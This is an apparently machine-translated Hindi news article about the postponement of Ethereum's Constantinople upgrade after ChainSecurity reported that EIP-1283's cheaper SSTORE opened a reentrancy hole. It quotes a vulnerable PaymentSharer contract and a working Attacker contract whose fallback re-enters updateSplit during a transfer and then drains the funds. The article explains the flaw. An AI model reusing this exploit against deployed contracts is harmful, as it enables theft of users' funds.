* एथेरियम "कांस्टेंटिनोपल" अपडेट को अंतिम समय पर मिलने वाली संभावित भेद्यता के कारण स्थगित कर दिया गया है

* कई लोग इस घटना को एक "कठिन कांटा" कहते हैं, लेकिन विटालिक इसके खिलाफ हैं ।

कांस्टेंटिनोपल की लंबे समय से प्रतीक्षित रिलीज 17 जनवरी को 4 बजे यूटीसी में होने वाली थी , हालांकि, एक बार फिर, उलटी गिनती काउंटरों के डेवलपर्स की असंख्य सेना को बेरहमी से तोड़ना यह सच नहीं होगा।

आधिकारिक रिलीज से 30 घंटे पहले, पाया गया भेद्यता के कारण, सिद्धांत द्वारा निर्देशित "बीच में आने से रोकने के लिए बेहतर नहीं", अद्यतन अनिश्चित काल के लिए स्थगित कर दिया गया था।

एक घटना जिसने पूरे समुदाय के कान खड़े कर दिए, ईआईपी 1283 की लापरवाह पेशकश थी, जो SSTORE (सिक!) निर्देश को निष्पादित करने की लागत को कम करती है । सामान्य तौर पर, अपडेट की मुख्य दिशाओं में से एक विशेष रूप से भारी निर्देशों का सस्ता और तेज कार्यान्वयन था।

15 जनवरी की घटनाएं इस प्रकार हैं (पीएसटी में समय):

• सुबह 8 बजे, चेनसिक्योरिटी भेद्यता का विवरण प्रकाशित करती है ;
• वहीं, मार्टिन होल्स्ट स्वेंडे (इथेरियम फाउंडेशन का मुख्य सुरक्षा गार्ड) सभी प्रमुख डेवलपर्स को जगाता है, यह याद करते हुए कि अपडेट से पहले केवल 37 घंटे बाकी हैं, और यहां हमारे पास यह है ;
• दोपहर से पहले चैट रूम और "आवाज" में गरमागरम बहस होती है;
• डिनर करके, अपडेट को रद्द करने का निर्णय लिया गया।

स्थिति इस तथ्य से बढ़ गई थी कि जहाज को तैनात करने का समय बहुत खराब तरीके से चुना गया था: लगभग आधे नोड्स को अपडेट करने में कामयाब रहे, और अन्य सभी को पिछले हफ्तों में विधिपूर्वक और लगातार किक किया गया था। नतीजतन, अब अपडेट किए गए नोड्स को फिर से अपडेट करना होगा (या तो ऊपर या नीचे ... mda)। और जिनके पास समय नहीं था और वे सब कुछ करके सो गए - अच्छी तरह से, उन्हें कुछ भी करने की आवश्यकता नहीं है।

तब सब कुछ अनुमानित था - बाजार ने ईथर (हाहा) की दर के 5% पतन के साथ प्रतिक्रिया की। कई, ज़ाहिर है, इस बात से नाराज थे कि वे कहते हैं कि निर्देश की कीमत गोपनीयता को कैसे प्रभावित कर सकती है, आपने इसे वहां क्यों रखा है और यह सब ... लेकिन वास्तव में, कुछ भी असामान्य नहीं है, सब कुछ बाकी सभी की तरह है।

चैनसिक्योरिटी द्वारा मूल लेख में भेद्यता के तकनीकी विवरण के बारे में पढ़ना बेहतर है, यह पता लगाना मुश्किल नहीं है।

कौन कोड में गोता लगाने के लिए बहुत आलसी है - बिंदु यह है कि अपडेट से पहले एसएसटीआरआईआर अनुदेश इतना महंगा था कि अन्य अनुबंधों से "राज्य" को बदलने का कोई तरीका नहीं था, कॉन्स्टेंटिनोपल अपडेट के बाद निर्देश सस्ता हो गया (और), और आप "भंडारण" को बदल सकते हैं कई बार, जिससे संवेदनशील अनुबंध का तर्क बदल जाता है।

कमजोर अनुबंध कोड (मेरी टिप्पणियों के साथ):

pragma solidity ^0.5.0; contract PaymentSharer { mapping(uint => uint) splits; mapping(uint => uint) deposits; mapping(uint => address payable) first; mapping(uint => address payable) second; //      ,       (  ) function init(uint id, address payable _first, address payable _second) public { require(first[id] == address(0) && second[id] == address(0)); require(first[id] == address(0) && second[id] == address(0)); first[id] = _first; second[id] = _second; } //    ,       function deposit(uint id) public payable { deposits[id] += msg.value; } //       function updateSplit(uint id, uint split) public { require(split <= 100); splits[id] = split; } // ,  (     split) function splitFunds(uint id) public { // Here would be: // Signatures that both parties agree with this split // Split address payable a = first[id]; address payable b = second[id]; uint depo = deposits[id]; deposits[id] = 0; //     (    fallback-   ) a.transfer(depo * splits[id] / 100); //  -   (       ) b.transfer(depo * (100 - splits[id]) / 100); } } 

हमला अनुबंध कोड:

 pragma solidity ^0.5.0; import "./PaymentSharer.sol"; contract Attacker { address private victim; address payable owner; constructor() public { owner = msg.sender; } //    *,      PaymentSharer   function attack(address a) external { victim = a; PaymentSharer x = PaymentSharer(a); x.updateSplit(0, 100); x.splitFunds(0); } // fallback ,     transfer- function () payable external { address x = victim; // ,       (  ,   updateSplit(0, 0)), ..    Split          assembly{ mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000) pop(call(10000, x, 0, 0x80, 0x44, 0, 0)) } } function drain() external { owner.transfer(address(this).balance); } } 

* मूल में गायब है, लेकिन कहीं न कहीं फार्म का एक प्रारंभिककरण होना चाहिए:

init (0, "हमलावर अनुबंध पता", "हमलावर का बटुआ पता")

हमले के तरीके को कॉल करने से पहले।

बेशक, खुद भुगतानकर्ता अनुबंध के कई सवाल हैं, जिस पर हमें भेद्यता दिखाई जाती है, यह अपने आप में कुटिल है, और यह इस समस्या में है
और SSTORE की कीमत में नहीं, और सामान्य तौर पर - उन्हें रिलीज नेटवर्क में एक जीवित उदाहरण नहीं मिला, लेकिन इसे सुरक्षित रूप से खेलने का फैसला किया, सभी एक ही, त्रुटि की कीमत बहुत अधिक हो सकती है (सभी ने लंबे समय से मृत डीएओ को याद किया)।

सामान्य तौर पर, एथेरियम समुदाय में बहुत सारी दिलचस्प घटनाएं होती हैं: ग्रे मार्केट कार्डिनल्स (जीपीयू बनाम एएसआईसी) का संघर्ष तेज हो गया है, जो अपने आप में एक अलग लेख के हकदार हैं, बेकन चेन की आगामी रिलीज गति प्राप्त कर रही है - वर्ष घटनाओं और साज़िश में समृद्ध होने का वादा करता है।